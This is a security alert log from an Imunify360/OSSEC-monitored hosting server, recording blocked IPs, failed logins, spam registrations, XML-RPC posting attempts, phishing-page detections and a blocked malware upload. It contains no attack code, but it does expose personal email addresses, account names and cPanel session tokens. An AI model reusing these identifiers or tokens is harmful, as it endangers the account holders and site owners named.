Jun  8 14:17:37 ns5 auth[891545]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 201.96.186.242
country_id: 3996063
description:
2026-06-08 14:18:43 H=([201.96.186.242]) [201.96.186.242]:50669 F=<John@4452.com> rejected RCPT <info@sigm.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:14-19.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Enjoy Your Blockchain Money eropolik.blogspot.se zH||Email:zakariyamohammed8338@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 83.222.7.119
country_id: 1512440
description:
2026-06-08 14:20:18 H=([83.222.7.119]) [83.222.7.119]:51958 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 123.20.70.29
country_id: 1562822
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/album/lancement-officiel-djama-lager HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.137.70
country_id: 3469034
description:
Jun  8 14:23:30 ns5 auth[891545]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.137.70 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.17
country_id: 1512440
description:
2026-06-08 14:24:09 H=([84.54.72.17]) [84.54.72.17]:3677 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 47.89.246.144
country_id: 6252001
description:
Jun  8 14:27:54 ns5 pure-ftpd[901641]: (?@47.89.246.144) [WARNING] Authentication failed for user [sodigaz]


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.17
country_id: 1512440
description:
2026-06-08 14:28:24 H=([84.54.72.17]) [84.54.72.17]:37915 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 69.10.50.82
country_id: 6252001
domain: arse.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.7499.169 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:14:29:03 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=7063914&pdata=https%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780928942 HTTP/2.0" 302 0 daula.tg "https://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.122.147.229
country_id: 6252001
description:
34.122.147.229 - - [08/Jun/2026:14:29:01 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13013911&pdata=http%253A%252F%252Fdaula.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780928940 HTTP/1.1" 302 0 daula.tg "http://daula.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.122.147.229


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 84.54.72.17
country_id: 1512440
description:
2026-06-08 14:30:56 H=([84.54.72.17]) [84.54.72.17]:30678 F=<John@4452.com> rejected RCPT <majed.zammouri@soroubat.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 14:32:44 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 14:32:46 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64914: 535 Incorrect authentication data (set_id=mssql)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 216.26.243.93
country_id: 2635167
description:
[2026-06-08 14:32:48 +0000] info [cpaneld] 216.26.243.93 - contactmairieaneho "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user contactmairieaneho (has_cpuser_file failed)


plugin: modsec
rule: 33311
name: IM360 WAF: Found crawler not in whitelist
abuser: 205.142.34.120
country_id: 6252001
domain: chuso.tg
description:
IM360 WAF: Found crawler not in whitelist||RSV:8.15||T:APACHE||RA:205.142.34.120||TA:205.142.34.120||


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 124.158.10.21
country_id: 1562822
description:
Jun  8 14:33:26 ns5 pure-ftpd[907197]: (?@124.158.10.21) [WARNING] Authentication failed for user [sodigaz]


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 39.194.1.15
country_id: 1643084
domain: perfect-labo.com
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:98361.perfect-labo.com||ServerName:perfect-labo.com||Method:metaWeblog.newPost||BlogID:1||TitleSHA:75abce00a2dd54a73786c43407a581adb82f4057||Title:36lxsx9xxe5m5osky||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  8 14:37:39 ns5 pure-ftpd[910563]: (?@146.190.126.213) [INFO] New connection from 146.190.126.213


plugin: ossec
rule: 11302
name: FTP Authentication failed.
abuser: 146.190.126.213
country_id: 6252001
description:
Jun  8 14:37:44 ns5 pure-ftpd[910563]: (?@146.190.126.213) [WARNING] Authentication failed for user [direct7]


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.225.97
country_id: 337996
description:
2026-06-08 14:40:22 dovecot_plain authenticator failed for H=(T31NGXPI6836) [196.189.225.97]:19217: 535 Incorrect authentication data (set_id=emploi@emt.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 119.152.147.49
country_id: 1168579
description:
2026-06-08 14:44:46 H=([119.152.147.49]) [119.152.147.49]:59832 F=<John@4452.com> rejected RCPT <j.delbegue@tps.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.189.225.97
country_id: 337996
description:
Jun  8 14:48:29 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.189.225.97 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.189.225.97
country_id: 337996
description:
2026-06-08 14:48:31 dovecot_plain authenticator failed for H=(648A5DR0V5VM) [196.189.225.97]:19177: 535 Incorrect authentication data (set_id=info@sigm.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.188.156.183
country_id: 1814991
description:
2026-06-08 14:48:46 H=([39.172.2.149]) [39.188.156.183]:24549 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 39.188.156.183
country_id: 1814991
description:
2026-06-08 14:50:00 H=([39.172.2.149]) [39.188.156.183]:24362 F=<John@4452.com> rejected RCPT <info@cndh-togo.org>: Sender verify failed


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Claim Your Underpinned Bonus sepoladi.blogspot.fr hS||Email:zaywenjasonf@outlook.fr||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77142124
name: IM360 WAF: Track WordPress registration flood
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress registration flood||WPU:||RSV:8.15||T:APACHE||MVN:ARGS:action||MV:register||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.148.11.141
country_id: 1210997
description:
Jun  8 14:56:39 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.148.11.141 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.148.11.141
country_id: 1210997
description:
2026-06-08 14:56:41 dovecot_plain authenticator failed for H=(3fvkd52uzdckocg7v) [119.148.11.141]:37802: 535 Incorrect authentication data (set_id=admin@togocarrierebetons.com)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 89.23.156.13
country_id: 2017370
description:
2026-06-08 14:57:00 H=([89.23.156.13]) [89.23.156.13]:11740 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 185.213.83.232
country_id: 1643084
description:
[2026-06-08 14:57:41 +0000] info [cpaneld] 185.213.83.232 NEW phoicdxb:jUS3OrEv0W4xSFKf address=185.213.83.232,app=cpaneld,creator=phoicdxb,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.13
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.696629581574069.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 113.23.104.226
country_id: 1562822
description:
Jun  8 14:58:09 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 113.23.104.226 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.23.104.226
country_id: 1562822
description:
2026-06-08 14:58:11 dovecot_plain authenticator failed for H=(I7QG1XB55L1Y) [113.23.104.226]:1081: 535 Incorrect authentication data (set_id=mointie@emt.tg)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 77.83.39.37
country_id: 690791
description:
2026-06-08 14:58:41 H=([77.83.39.37]) [77.83.39.37]:54627 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<info@aceautocentre.com> rejected RCPT <contact@sthandling-aero.tg>: The mail server could not deliver mail to contact@sthandling-aero.tg.  The account or domain may not exist, they may be blacklisted, or missing the proper dns entries.


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 43.163.121.103
country_id: 1880251
description:
43.163.121.103 - - [08/Jun/2026:14:59:30 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10120900&pdata=https%253A%252F%252Flacs1.mairie.tg%252Fcategory%252Ffinance%252Fcomptes-administratifs%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780930769 HTTP/2.0" 302 0 lacs1.mairie.tg "https://lacs1.mairie.tg/category/finance/comptes-administratifs/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:43.163.121.103


plugin: modsec
rule: 77674285
name: IM360 WAF: Track upload attempt
abuser: 170.106.151.116
country_id: 6252001
domain: togodailynews.tg
description:
IM360 WAF: Track upload attempt||MVN:ARGS:request_uri||MV:hackathon-togo-agtech-les-systemes-regionaux-dinnovation-agricole-consolides/||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.186
country_id: 1880251
description:
47.128.96.186 - - [08/Jun/2026:14:59:50 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778482&pdata=https%253A%252F%252Ftdn.tg%252Ftag%252Fdon-de-mawu-fe-nuse-au-ceg-attikpa%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780930788 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/tag/don-de-mawu-fe-nuse-au-ceg-attikpa/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.186


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 145.255.162.200
country_id: 1522867
description:
2026-06-08 15:00:30 H=([145.255.162.200]) [145.255.162.200]:20237 F=<John@4452.com> rejected RCPT <info@soena.tg>: Sender verify failed


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 104.243.245.5
country_id: 3996063
description:
2026-06-08 15:01:09 H=([192.168.0.58]) [104.243.245.5]:19242 X=TLS1.3:TLS_AES_256_GCM_SHA384:256 F=<seduccion@outlook.com> rejected RCPT <ventas@empresasmexico.com>: SMTP AUTH is required for message submission on port 465


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.86
country_id: 6252001
description:
[2026-06-08 15:02:57 +0000] info [cpaneld] 134.195.83.86 NEW aopsacai:dKfDtVN9D8lR9xj0 address=134.195.83.86,app=cpaneld,creator=aopsacai,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 6070
name: Attempt to upload malware through cPanel file manager
description:
Jun 08 15:05:15 ns5.netmaster.tg cpanel_fileman_hook[934084]: 0 BAILOUT malware detected when save 'index.pph' in /home/phoicdxb/public_html/halplucia for user phoicdxb


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 15:05:04 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.124.182.116
country_id: 3175395
description:
Jun  8 15:06:05 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.124.182.116 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.238.106.142
country_id: 3865483
description:
Jun  8 15:08:28 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.238.106.142 has been locked due to Imunify RBL


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-08 15:08:46 +0000] info [cpaneld] 80.248.64.198 NEW fhmqxwla:dZuRQLRh6O8Q3eq6 address=80.248.64.198,app=cpaneld,creator=fhmqxwla,method=handle_form_login,path=loadsession:fhmqxwla:6XvEshVJ4zBokeit,possessed=1,possessor=root


plugin: ossec
rule: 11009
name: WHM login success
abuser: 80.248.64.198
country_id: 2363686
description:
[2026-06-08 15:08:45 +0000] info [whostmgrd] 80.248.64.198 NEW fhmqxwla:6XvEshVJ4zBokeit address=80.248.64.198,app=cpaneld,creator=root,method=handle_auth_transfer,path=xfercpanel


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.18
country_id: 226074
description:
Jun  8 15:08:49 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 196.0.107.18
country_id: 226074
description:
Jun  8 15:08:56 ns5 auth[900702]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 196.0.107.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77140942
name: IM360 WAF: Possible WordPress Dashboard access for infectors
abuser: 196.171.19.151
country_id: 2363686
domain: leadelles.tg
description:
IM360 WAF: Possible WordPress Dashboard access for infectors||RSV:8.15||T:APACHE||MV:/index.php/wp-json/wp/v2/users/3?context=view&_fields=id%2Cname&_locale=user||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 213.230.86.13
country_id: 1512440
description:
2026-06-08 15:09:57 H=([0.0.0.0]) [213.230.86.13]:16524 F=<John@4452.com> rejected RCPT <contact@emt.tg>: Sender verify failed


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 213.32.21.59
country_id: 3017382
domain: lct-togo.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309||MV:15-10.213.32.21.59||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77318023
name: IM360 WAF: Old style account creation and modification in Joomla!
abuser: 191.102.129.114
country_id: 6252001
domain: pnls.tg
description:
IM360 WAF: Old style account creation and modification in Joomla!||MVN:ARGS:view||MV:registration||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a9badcedbdd9ae41f904b2677f6a5369f5790ce1||Title:beh2lwg4xeqeggulnv||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.176.253.226
country_id: 2363686
description:
[2026-06-08 15:12:59 +0000] info [webmaild] 102.176.253.226 - secre.gene@ucao-uut.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:df797453b76b5ee9e78d91f87d6079cfce089934||Title:i9vg4q0b19wybb6gtt||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:c20bdc6561a94aa564f5da540f3c4e9fa8aa2fc8||Title:li804ijtkerg19es5b||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9024a0f71e1b09f6c31a58c90a25b2fd6375c315||Title:03ycfft0rcgwq9ozt||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:be42bb141a7ecdfc1acb5468753dc0423f4ed78b||Title:ay5ljg68qxyaea95||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11301
name: New FTP connection.
abuser: 147.185.132.111
country_id: 6252001
description:
Jun  8 15:16:32 ns5 pure-ftpd[943789]: (?@147.185.132.111) [INFO] New connection from 147.185.132.111


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:2ccde551dd67ed542413f58657da6647d31cc70a||Title:zm37f28gsga5i9||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:a924465a5f1b932e2b70345bdf1fe7e55e07e6a4||Title:fs3u14k9kr4655||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 15:18:38 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:60637: 535 Incorrect authentication data (set_id=mssql)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.159.149
country_id: 2363686
description:
[2026-06-08 15:18:42 +0000] info [webmaild] 102.64.159.149 - dboutoma@its.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 62.60.130.241
country_id: 130758
description:
Jun  8 15:18:36 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 62.60.130.241 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 168.0.227.71
country_id: 3469034
description:
Jun  8 15:19:22 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 168.0.227.71 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.105.39
country_id: 3469034
description:
Jun  8 15:19:00 ns5 auth[944283]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.105.39 has been locked due to Imunify RBL


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Gather Your Small Crown Funds eropolik.blogspot.gr hu||Email:elmejorrepresentante@gmail.com||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:9cc05d311fbbb5524356030101ce0979a44ac9d5||Title:97eqmejabbff8x5g2r||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:15-19.146.19.125.71||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:181a25ae7983d53ff8434d0156e5489dd1e341f7||Title:fmeo6k1y22a3f2fn||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:3d6c08ea0d6fa6b440cb8e53dbef6da725dd133e||Title:q3m07tingc925li3y||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 102.64.159.149
country_id: 2363686
description:
[2026-06-08 15:22:03 +0000] info [webmaild] 102.64.159.149 - dboutoma@its.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:85a3068eeea56be5db8117a5832da0b56d83bd74||Title:mrhf146n6yxc4n4p4t||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11004
name: Possible breaking attempt on cpanel service
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-08 15:23:51 +0000] info [cpaneld] 196.171.46.177 - fgbegmfv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.171.46.177
country_id: 2363686
description:
[2026-06-08 15:23:45 +0000] info [cpaneld] 196.171.46.177 - fgbegmfv "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: access denied for root, reseller, and user password


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5ce40a2b558b58009329b579e4453d7b92f520d7||Title:66gzct2xdpxo55cj||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:ebc5444494b2f172aaf2fa7bfc0e3e8430474540||Title:poqdgssn5ri02lgjqj||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:5331c3223915318dd14ae4096b984d366b4bfa78||Title:h1vi61hevabzarj||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:70a487dbcd705495a45baf28bc3a5e126a545a58||Title:zfpr5kty02ba7ohgx||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:52b7a315015d97521beffde7699a46d78d23c59d||Title:msctr8ayplr8uvhu||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-08 15:28:45 +0000] info [cpaneld] 64.44.62.229 NEW hphhdcxi:Ip2jVKLCqemzMLqW address=64.44.62.229,app=cpaneld,creator=hphhdcxi,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.133.253
country_id: 2635167
domain: test.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/hphhdcxi/public_html/.187972349640401.php||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:6180721c7b9a3af9b090a296cac723eeb040ea2b||Title:2i85irn8c7bixrvb||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
IM360 WAF: XML-RPC Suspicious blog attempt||Username:admin.misstogo.tg||ServerName:misstogo.tg||Method:metaWeblog.newPost||BlogID:1||TitleSHA:fce2864af79aca58dd8d477e53f95fd0c5d25bf5||Title:u4yi1f9kq4zffaed||RSV:8.15||T:APACHE||


plugin: modsec
rule: 77839622
name: IM360 WAF: XML-RPC Suspicious blog attempt
abuser: 111.119.34.81
country_id: 1282988
domain: misstogo.tg
description:
